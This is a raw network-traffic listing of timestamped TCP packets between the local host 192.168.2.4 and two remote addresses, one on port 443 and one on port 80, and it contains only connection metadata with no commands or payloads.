Nov 23, 2024 11:22:10.657010078 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.657023907 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.657035112 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.657040119 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.657202005 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.657269955 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.657308102 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.658165932 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.658186913 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.658212900 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.658219099 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.660367966 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.660391092 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.660451889 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.660752058 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.660773039 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.660939932 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.661024094 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.661098957 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.661209106 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.661231995 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.661962032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.662031889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.662142992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.662190914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.663362026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.663417101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.663460970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.663523912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.666088104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.666138887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.666215897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.666268110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.668813944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.668886900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.668931961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.668994904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.671498060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.671550989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.671595097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.671646118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.674156904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.674210072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.674292088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.674340010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.676784039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.676850080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.676954985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.677005053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.679383039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.679435968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.679563046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.679615021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.682022095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.682077885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.682122946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.682169914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.684624910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.684684038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.684730053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.684781075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.687211990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.687263012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.687357903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.687402964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.689836979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.689891100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.690028906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.690080881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.692523003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.692579031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.692656040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.692704916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.695091963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.695142984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.695221901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.695270061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.697686911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.697741032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.697808027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.697859049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.700434923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.700489998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.700586081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.700638056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.702884912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.702936888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.703048944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.703103065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.705558062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.705610037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.705688000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.705737114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.708136082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.708188057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.708292961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.708340883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.710800886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.710859060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.710881948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.710931063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.713479996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.713532925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.713629961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.713679075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.716023922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.716080904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.716097116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.716142893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.718693972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.718756914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.718807936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.718858004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.721200943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.721266985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.721298933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.721345901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.723835945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.723885059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.723968983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.724014997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.726464033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.726514101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.726596117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.726648092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.729147911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.729202986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.729249954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.729298115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.731669903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.731738091 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.731790066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.731837034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.734368086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.734416962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.734471083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.734519005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.735686064 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.736344099 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.736393929 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.736432076 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.736435890 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.736444950 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.736449003 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.736921072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.736983061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.736983061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.737035990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.738768101 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.738781929 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.738842964 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.738964081 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:10.738976002 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:10.739510059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.739561081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.739624023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.739671946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.742168903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.742227077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.742273092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.742321968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.744757891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.744810104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.744927883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.744976997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.747344017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.747392893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.747400999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.747454882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.749977112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.750024080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.750073910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.750124931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.752566099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.752636909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.863214970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.863332987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.863352060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.863410950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.864294052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.864347935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.864368916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.864424944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.866457939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.866507053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.866553068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.866602898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.868758917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.868819952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.868920088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.868971109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.870698929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.870752096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.870999098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.871049881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.872775078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.872831106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.872924089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.872977018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.874866962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.874922037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.874993086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.875060081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.876913071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.876945019 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.876966000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.877002001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.878918886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.878971100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.879060030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.879112005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.881016016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.881066084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.881145954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.881195068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.882972956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.883025885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.883157969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.883208036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.885041952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.885094881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.885178089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.885226965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.887023926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.887080908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.887180090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.887242079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.889045000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.889108896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.889115095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.889154911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.891129971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.891181946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.891243935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.891299009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.893090010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.893142939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.893204927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.893253088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.895145893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.895199060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.895308018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.895353079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.897164106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.897214890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.897289038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.897340059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.899190903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.899241924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.899322033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.899377108 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.901340008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.901393890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.901432037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.901484966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.903270960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.903331041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.903358936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.903404951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.905265093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.905318975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.905380964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.905435085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.907351017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.907402039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.907526016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.907577991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.909327030 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.909380913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.909446001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.909507990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.911468029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.911520958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.911556005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.911604881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.913403034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.913455009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.913537979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.913587093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.915410042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.915466070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.915585041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.915642977 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.917448997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.917515993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.917541027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.917594910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.919486046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.919538021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.919605970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.919658899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.921505928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.921555996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.921612978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.921665907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.923522949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.923578978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.923640013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.923701048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.925707102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.925760984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.925811052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.925865889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.927582026 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.927630901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.927702904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.927757978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.929621935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.929677010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.929680109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.929728985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.931703091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.931752920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.931792021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.931843996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.933695078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.933748007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.933803082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.933857918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.935729980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.935784101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.935790062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.935842037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.937830925 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.937875032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.937916994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.937963009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.940100908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.940151930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.940220118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.940264940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.942015886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.942069054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.942151070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.942208052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.944097042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.944109917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.944150925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:10.945874929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:10.945904016 CET	80	49765	31.41.244.11	192.168.2.4
